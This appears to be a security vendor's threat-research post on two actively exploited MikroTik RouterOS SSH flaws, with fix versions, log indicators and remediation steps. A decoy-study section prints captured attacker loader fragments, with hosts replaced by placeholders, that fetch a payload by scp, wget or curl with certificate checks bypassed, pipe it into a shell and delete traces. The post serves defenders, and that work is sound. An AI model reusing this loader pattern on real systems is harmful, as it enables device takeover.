Deception Check← all research
Threat research · vulnerability watch

MikroTrick:
RouterOS SSH flaws are under active attack

CERT Polska has confirmed a chain that gives attackers administrative control of exposed MikroTik routers. The fixes are available. Assign the configuration review alongside the upgrade, so an account or tunnel added before patching does not get overlooked.

Deception Check  |  September 6, 2026  |  SSH disclosures: CVE-2026-67276 and CVE-2026-86060  |  CVSS v4.0 9.2 each, CERT Polska
The Deception Check

Close the SSH exposure and establish whether the router's configuration is still yours.

  • Update: prioritize affected routers with internet-reachable SSH. Use a supported fixed release for the device's update channel.
  • Review: check administrative accounts, scripts, scheduled tasks, proxies, and tunnels. Keep the review open after the upgrade completes.
  • Respond: investigate the reported indicators promptly. A failed login or an IP match alone is not proof that the router was taken over.

The SSH flaws in the disclosure

CVE-2026-67276 affects RouterOS SSH public-key authentication. An RSA public key includes a modulus and an exponent. The affected code matched the key type and modulus against an authorized key but omitted the exponent, then used the client-supplied key to verify the signature. A client could pass that check without the legitimate private key. The standalone flaw requires the targeted username and an authorized RSA public modulus; it yields that account's privileges. CERT Polska's technical advisory documents the mechanism.

The disclosure also includes CVE-2026-86060, which mishandles a crafted SSH username and permits manipulation of the RouterOS policy mask once an unauthenticated SSH session reaches the login helper. Separately, CERT Polska confirms that MikroTrick combines two vulnerabilities for unauthenticated administrative takeover. Its public warning does not identify which two CVEs form that chain.

Two documented SSH flaws

Individual vulnerabilities described in CERT Polska's disclosure.

  • CVE-2026-67276Key matching fails

    Knowing an authorized RSA modulus and the username lets the standalone bypass obtain the target account's privileges without its private key.

  • CVE-2026-86060Privileges are manipulated

    An unauthenticated SSH session must reach the RouterOS login helper. The flaw permits changes to the trusted policy mask, yielding administrative privileges.

For an administrator, the consequence is control over the device that carries traffic and enforces network policy. Review the routes, firewall rules, DNS settings, and remote-access configuration that an unauthorized administrator could change. If the router connects a plant, utility site, or other operational network, include the affected network owner in that review.

The fixes are already available

MikroTik's September 3 bulletin lists fixes across the update channels. CERT Polska confirms that the patched versions prevent the attacks it observed. Treat the versions below as the listed fix boundaries, then select the current supported release appropriate to your device and channel.

Swipe or scroll horizontally to see all table columns.

Published RouterOS fix boundaries
Release lineListed fixCERT-listed affected range
6.x long-term6.49.216.0.0 up to, but not including, 6.49.21
7.x long-term7.23.47.0.0 up to, but not including, 7.23.4
7.24 stable7.24.27.24 up to, but not including, 7.24.2
7.25 testing7.25beta3Check the installed prerelease against the vendor bulletin

For the 7.x long-term branch, use 7.23.5 rather than stopping at 7.23.4. MikroTik released 7.23.5 on September 4 to fix an IPv6 DHCP regression introduced in the first security release. The security fix boundary remains 7.23.4.

The beta fix is listed for systems already following that channel; it is not a recommendation to move production routers onto beta software. Sources: CERT version ranges and MikroTik's bulletin.

The operational timeline

Sep 2
Observed attacksCERT Polska dates the successful attacks it identified to at least this day.
Sep 3
Vendor bulletinMikroTik lists fixed releases and post-upgrade checks.
Sep 5
Public confirmationCERT Polska publishes the CVEs and confirms exploitation of MikroTrick.

As of our September 6 check, neither lead CVE appears in CISA's KEV catalog. The exploitation report is sufficient reason to prioritize exposed affected routers; a catalog entry is not a prerequisite for taking action.

The disclosure also covers bandwidth-test, TLS certificate verification, WebFig file reads, and an SSH rekey workflow that permits unauthenticated operations in the managed file namespace. Limiting SSH addresses one exposed service, not the entire disclosure. Keep the broader service restrictions in the CERT recommendations in scope until the update is complete.

Separate an attempt from a configuration change

Start with the distinctive log patterns, then establish what followed. CERT Polska reported these RouterOS entries and an unexpected, highly privileged account named ops in the activity it investigated.

Published indicators, CERT Polskalogin failure for user -2 from <ip> via sshuser <name> added by ssh:-2@<ip>

Swipe or scroll horizontally to see all table columns.

What each observation supports
ObservationInterpretationFollow-up
Failed SSH login for -2A reported exploitation-attempt pattern, not a successful-login record.Correlate the source and time with later sessions and configuration changes.
User added by ssh:-2@<ip>An account-creation event associated with the reported pattern.Verify authorization, inspect privileges, and preserve the surrounding records.
Unexpected privileged ops accountA reported compromise indicator. A familiar account name alone is insufficient.Check its creation, owner, policy, and approved purpose.
Traffic from a reported source IPUseful correlation evidence; it does not establish what happened on this router.Review the session outcome and resulting changes, rather than relying on an IP block alone.
RouterOS flagged: yesThe device has matched known suspicious configuration checks.Follow the vendor's investigation procedure before clearing the state.

CERT Polska associates 82.192.72.4 with successful observed attacks, including ops creation, and 103.102.31.18 with attempts.

The updated RouterOS checks for selected suspicious configuration artifacts at startup. Review its critical logs and /system/device-mode/print, then check configuration even when the device is not flagged. The Flagged mechanism is a useful inspection aid, not a complete incident assessment.

Why outbound SSH belongs in the review

SSH deserves attention in both directions. Restrict who can reach the management service, and review connections the appliance initiates. In a separate August 15 to 19 study, our edge decoy emulating a FortiGate recorded three SSH sessions from one source that submitted a Linux loader.

First-party SSH evidence

A submitted loader included SSH file retrieval

3 sessions / 1 source

August 15 to 19, 2026 study. Sessions admitted by decoy policy.

  1. 01Key and configurationWrites a supplied key, sets its permissions, and changes host-key checking.
  2. 02SCP and shell callNames its own key and configuration, then tests the return status.
  3. 03HTTPS and shell inputIncludes certificate-check bypass flags and a pipe into a shell.
  4. 04Artifact removalRequested removal of the key, client configuration, and payload.
Captured input: 11 selected log fragments
08
echo '<PRIVATE-KEY-CONTENT>' > <keyfile>
09
echo 'StrictHostKeyChecking no
UserKnownHostsFile /dev/null' > <ssh-config>
10
chmod 400 <keyfile>
11
scp -F <ssh-config> -i <keyfile> <user>@<host>:<remote-payload> <payload>
12
if [ $? -eq 0 ]
13
then chmod +x <payload>
14
sh <payload> ssh >/dev/null 2>&1
16
else (wget --no-check-certificate -qO- https://<host>/<download-path>
18
curl -sk https://<host>/<download-path>) | sh -s ssh
19
fi
20
rm -rf <ssh-config> <keyfile> <payload>

Scroll within the excerpt to see every selected row. Numbers are source log-row positions.

Decoy reply to each displayed fragmentcommand parse error

An appliance CLI, not a Linux shell. The decoy emulated FortiGate's management interface. The submitted if blocks, file redirection, and sh invocations expected a Linux shell instead. A parser error is an appropriate rejection for that interface mismatch.

The SCP and HTTPS commands referenced the same host. These selected instructions and their replies matched across all three sessions.

Recorded by the decoy. Payload not executed.
Captured fragments with role placeholders, not a runnable script. The wget/curl separator was not preserved. Timing is illustrative; this separate Linux-loader study is not a MikroTrick capture. Read the SSH study. Flag references: SCP, SSH configuration, wget, and curl.

The same loader sequence also reached our Lantronix, Cisco SD-WAN, UPS, and building-management decoys. Across five emulated management interfaces, 24 SSH sessions contained the same 16 captured input fragments in the same order. For defenders, that puts SSH exposure on operational management systems in the same review as the network edge.

Cross-interface reuse

One recorded sequence. Five interfaces.

16 matching input fragments24 SSH sessions

Each dot represents one session

  • FortiGate3 sessions
  • Lantronix EDS41004 sessions
  • Cisco SD-WAN Manager1 session
  • UPS management9 sessions
  • Building-management controller7 sessions
August 14 to 19, 2026 (UTC). One observed source address. Counts represent separate decoy sessions, not movement between systems or successful execution.

The file-retrieval instructions explain why web-only monitoring leaves a gap. Baseline approved outbound administration and backup jobs, then investigate unexpected SSH destinations. Retain session activity and the appliance's native audit records, so a login event can be connected to what followed.

Give the configuration review an owner

The change ticket should capture both the installed fixed build and the outcome of the security review. For remote sites, confirm a recovery path before the maintenance window; avoid turning a security update into an unplanned loss of management access.

  • Reduce reachability. Check the configured SSH port and the installed firewall policy for untrusted IPv4 and IPv6 access; an enabled service is not necessarily internet-accessible. Disable unnecessary services or restrict them to trusted management networks. While awaiting the patch, CERT also advises avoiding outbound TLS and the built-in SSH clients on an unpatched device, particularly across untrusted paths.
  • Install the appropriate fixed release. Prioritize publicly reachable SSH. Record the resulting version rather than closing the ticket on an update request alone.
  • Review access and changes. Reconcile users, permissions, scripts, scheduled jobs, proxies, and tunnels with the approved configuration. Check the reported log patterns and the Flagged state.
  • Preserve evidence if compromise is suspected. Isolate the device as appropriate, secure logs and configuration before resetting it, and follow the responsible CSIRT's handling guidance. CERT's export guide (in Polish) covers the collection steps. Do not clear the Flagged state first.
  • Rebuild from a trusted configuration when warranted. Follow CERT and vendor recovery guidance, rotate affected passwords, keys, and other secrets, and verify restored access. A full backup from a potentially compromised router may contain the changes you are trying to remove.

A decoy can complement this work by recording access attempts and subsequent interaction on a monitored management service. Place it where the activity is relevant, route its alerts to someone who can investigate, and correlate its telemetry with production login and change records.

Sources and scope

Deception CheckMake unexpected access observable.

Deception Check uses monitored decoys and bait to collect evidence of interaction. Learn more about the platform.